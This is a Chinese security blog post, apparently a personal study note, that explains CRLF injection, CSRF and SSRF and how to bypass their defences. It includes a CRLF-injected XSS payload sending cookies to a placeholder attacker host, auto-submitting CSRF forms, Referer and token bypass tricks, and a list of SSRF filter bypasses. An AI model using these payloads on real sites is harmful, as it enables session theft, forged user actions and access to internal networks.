CRLF、CSRF、SSRF攻击与利用

本文阅读 13 分钟

前言

本文叙述了crlf、csrf和ssrf的原理、攻击利用和一些绕过方法,作为个人笔记,内容可能不全面,日后有接触新的方法会更新。

CRLF

原理

这个漏洞名词来源于打印机,在计算机中表示一行的结束:

回车=CR=r=%0d=Ascii(13)=Ascii_16(0D)
换行=LF=n=%0aAscii(10)=Ascii_16(0A)

在不同操作系统中表示行结束的方法也不相同:

Windows:CRLF
Linux/Unix:LF
Mac:老版本用CR,新版用LF

在http头的规范中是以CRLF表示一行的结束,因此无论是请求头还是响应头,每行的末尾都有一个rn。

GET http://example.com/skipto?u=http://other.com HTTP/1.1\r\n
Host:example.com\r\n
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0\r\n
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Accept-Encoding:gzip, deflate, br\r\n
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n
Connection:keep-alive\r\n

上面代码是一个普通的页面跳转请求头,我们很容易发现u的值是用户可控的,正常运行的话返回的会是第2页的内容,那么现在重新发送请求,将请求截下来,把u=http://other.com改成u=http://other.comrnSetCookie:crlf再提交,假如服务器没有对u参数进行检查并过滤,在响应头中直接将用户输入拼接到Location的值里面,响应头就会变成像下面那样的代码:

HTTP/1.1 302 Found\r\n
Date: Sun, 08 Aug 2021 07:01:25 GMT\r\n
Location:http://other.com\r\n
SetCookie:crlf\r\n
Content-Length:0\r\n
Content-Type: text/html; charset=utf-8\r\n
Connection: keep-alive\r\n

在拼接http响应头的过程中,服务器检测到rn的时候会按照http规范认为已经到达一行的末尾,后面的数据输出到下一行。在对文件进行io读写的时候也经常会以rn或者n作为判断行末尾的依据,后面的数据换行后再输出,这两个的原理是一样的。 CRLF这种攻击本质和sql注入、xss一样,都是由于没有对用户输入进行完全检查与过滤导致的漏洞,区别在于sql注入作用在数据库,xss的效果体现在网页主体,clrf则会将恶意代码输出在响应头中。

攻击&利用

这种漏洞属于客户端漏洞,经常会出现在有重定向或者页面跳转的地方。攻击的方法很简单,观察输入是否在响应头中,然后提交rn,记得编码,查看服务器是否响应,最后一步根据需要将漏洞转换成会话固定、xss等。 至于利用的方式,大致有以下几种: 会话固定 上面的例子就是一个典型的会话固定,通过插入请求头的方式实现给访问者设置一个session,当然除了cookie也能插入其他请求头。

#部分请求头:
GET http://example.com/skipto?u=http://other.com\r\nSet-Cookie:mycookie HTTP/1.1\r\n
...

#对应的响应头:
HTTP/1.1 302 Found\r\n
Location:http://other.com\r\n
SetCookie:mycookie\r\n
...

xss 在http规范中,响应头和正文之间是用两个CRLF进行区分的,也就是rnrn,我们可以利用这个特性往正文里写入xss:

#部分请求头
GET http://example.com/skipto?u=\r\n<img src=x onerror="http://myc2.com/getcookie?c="+encodeURI(document.cookie);> HTTP/1.1\r\n
...

#对应的响应头,利用xss直接将cookie发送到攻击者的服务器
HTTP/1.1 302 Found\r\n
Location:\r\n

<img src=x onerror="http://myc2.com/getcookie?c="+encodeURI(document.cookie);>

缓存中毒 这种攻击方式需要服务端有CDN、负载均衡或者反向代理等缓存设备。利用方式如下:

#直接在请求头中插入X-Forwarded-Host,观察响应包中是否有回显
GET http://example.com/skipto?u=\r\nX-Forwarded-Host:http://fishing.com HTTP/1.1\r\n
...

另一个名字相近但完全不同的攻击方式叫缓存欺骗,利用前要满足下列条件:

Web缓存功能设置为通过URL的扩展名来判断是否进行缓存文件,且忽略任何缓存头;

当访问一个不存在资源时返回一个页面而不是显示页面不存在;

诱使访问URL时,受害者必须已经通过身份验证;

其攻击的过程如下:

通过钓鱼/xss等方法诱使已经登录的用户访问攻击者服务器上的一个资源(http://hack.com/attack/1.png)
请求到达代理/CDN,代理不熟悉这个文件,于是向web服务器发起请求;
web服务器返回受害者的用户页面内容和200状态码,这里对应了上面第二点和第三点条件,没有返回页面不存在并且是用户已登录状态;
缓存机制收到响应同时发现url以资源文件扩展名(.png)结尾,并且由于缓存机制忽略响应头,这个资源会被保存在新建的attack目录下,被缓存的文件名为1.png,这里对应了第一个条件;
然后受害者接收到他的账户页面;
攻击者访问http://hack.com/attack/1.png,请求到达代理服务器,代理直接将受害的缓存账户页面返回给攻击者。

绕过

对于CRLF来讲核心就是rn,服务器防止CRLF大部分也是通过过滤器限制这两个字符,绕过的方法大致有以下几种:

url单/双层编码;
更改http版本到1.0,不发送Host头,并将请求分片构建特殊请求;
将rn转换成ascii码;

另外在发送给客户端xss语句的时候可能会被浏览器过滤掉,这个时候只需要在前面再插入一个请求头X-XSS-Protection:0即可绕过。

CSRF

原理

CSRF的中文翻译叫跨站请求伪造,和XSS利用方式有点像,但是XSS利用的是站点内信任的用户,而CSRF是通过伪装成被信任的用户请求受信任网站。攻击原理如图: img

由此可以看出来,要利用这个漏洞必须满足下面两个条件:

登录存在漏洞的网站,并在本地生成cookie;

在不登出的情况下访问攻击者的服务器;

攻击&利用

这种漏洞会出现在用户操作中的增、删、改功能的位置,比如用户修改密码的地方,如果网站在上述三种功能中没有用到Referer/Token技术,那么肯定存在csrf,如果存在,可以绕过,那也一样有漏洞。类型分为GET、POST两种,他们攻击方式的区别就是GET型只需要构造url,然后诱导受害者访问即可,POST型则要构造自动提交的表单,再诱导受害者访问。 整个攻击流程如下:

制作伪装页面->诱导用户访问->触发非法操作

不管是哪种类型,漏洞利用的核心就是根据需要构造页面,然后诱导受害者点击,可以通过钓鱼,也可以利用xss等。 GET

<html>
<head>
    <title>404 not found</title>
</head>
<body onload="构造csrf请求">
    404 not found
</body>
</html>

POST post模式通常是构造一个自动提交的隐藏表单:

<html>
<head>
    <title>404 not found</title>
</head>
<body>
    404 not found
    <form action="" method=POST>
        <input type="hidden" name="a" value="参数1">
        <input type="hidden" name="b" value="参数2">
    </form>
</body>
<script>
    document.forms[0].submit();
</script>
</html>

绕过

对于CSRF的保护通常是使用Referer和Token,因此为了达到攻击的目的,这两种防护措施就是需要绕过的对象。 Referer 1.利用伪协议:http://、https://、ftp://、file://、data:、javascript:,这时候referer置空就能绕过了。

<iframe src="data:text/html;...">

2.在html页面中通过meta将Referer置空:

<meta name="referer" content="never">

3.观察Referer验证的是哪个域名,是否存在指定的域名关键词,验证方式是不是只验证开头,绕过方式分别如下:

验证格式为*.xxx.com:在域名前面增加子域名绕过;
验证包含关键词为xxx.com:新建网站目录名字为xxx.com,作为csrf文件的存放目录;
验证开头格式xxx.com:新建域名为xxx.com.hack.com的web服务器作为csrf载体;

Token 1.完全删除token,适用于账户删除功能,因为很多删除用户的功能中几乎不认证token; 2.token解码,通过识别算法破解,然后按规律改变值再进行加密编码,这种适用于算法简单的token; 3.一般token由静态、动态两部分组成,有时候只用静态部分就可以通过检测。

SSRF

原理

SSRF的意思是服务端请求伪造,如字面意思,就是攻击者构造的由服务器发起请求的一种漏洞。而服务端能够访问外界访问不到的内网,因此可以利用这个特性来攻击部署在内网的脆弱中间件以及其他服务。其原理如下图: img

攻击&利用

可能会出现SSRF的地方有:

分享功能
收藏功能
网站采集功能
其他一些要调用url的功能
页面优化转码
在线翻译
图片加载/下载
云服务厂商
内置数据库(redis、mongodb)
邮件系统
对数据进行在线处理的地方
从远程服务器获取资源
未公开的API

可以通过下列url关键字查找:

share
wap
url
link
src
source
target
u
display
sourceurl
imageurl
domain

漏洞挖掘的时候通过排除法判断,一种情况是直接回显,另一种情况则是跟其他地方相比发生变化(类似sql布尔盲注):

http://example.com/service?image=http://www.baidu.com/img/bd_logo.png
#像这种的新窗口打开链接,如果地址栏显示http://www.baidu.com/img/bd_logo.png,则不存在漏洞;

或者抓包分析请求是否由服务器发起,ssrf是服务器发起的请求,在测试接口的时候本地浏览器不应该发起请求,这一点通过抓包可以体现出来。

在漏洞利用方面,对外可以通过SSRF访问其他网址,对内可以扫描内网做信息收集,用其他协议请求敏感文件,能够通过请求攻击内网应用,也可以进行DOS攻击,具体做法是请求大文件,并始终keep-alive。

绕过

一般在服务端会对请求地址做限制,过滤ip的流程可能如下图: img

因此就有了下面几种绕过方法:

攻击本地:
http://127.0.0.1:80
http://localhost:80
http://0.0.0.0:80
http://[::]:80

利用@:
http://example.coom@127.0.0.1

使用短网址:
https://dwz.cn/

利用DNS解析服务:
http://127.0.0.1.xip.io
#会重定向到127.0.0.1

利用DNS重绑攻击:
前置条件:需要一个域名,并且将其解析指定到攻击者搭建的dns,设置TTL=0。
攻击过程:
1.服务端获取到url,进行第一次解析,获取一个外网ip;
2.对这个ip进行判断,通过验证;
3.服务端再次访问这个url,由于TTL=0,需要再次进行dns解析,这次解析返回内网地址;
4.验证已经绕过,服务端发送请求,返回的是内网资源。

文件上传处:
type=file -> type=url
比如在上传图片的地方,将图片换成url,就可能触发漏洞。

特殊标识符(Enclosed alphanumerics):
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

句号替换点号:
http://127.0.0.1 -> http://127。0。0。1

进制转换(十六、十、八、二):
http://127.0.0.1 -> http://2130706433/

利用特殊地址:
http://0/

更换协议:
dict://127.0.0.1:22
sftp://example.com:21111
tftp://example.com:21111
ladp://0.0.0.0:11211/%0astats%0aquit
gopher://...
file://...
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/kali_Ma/article/details/119830101
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复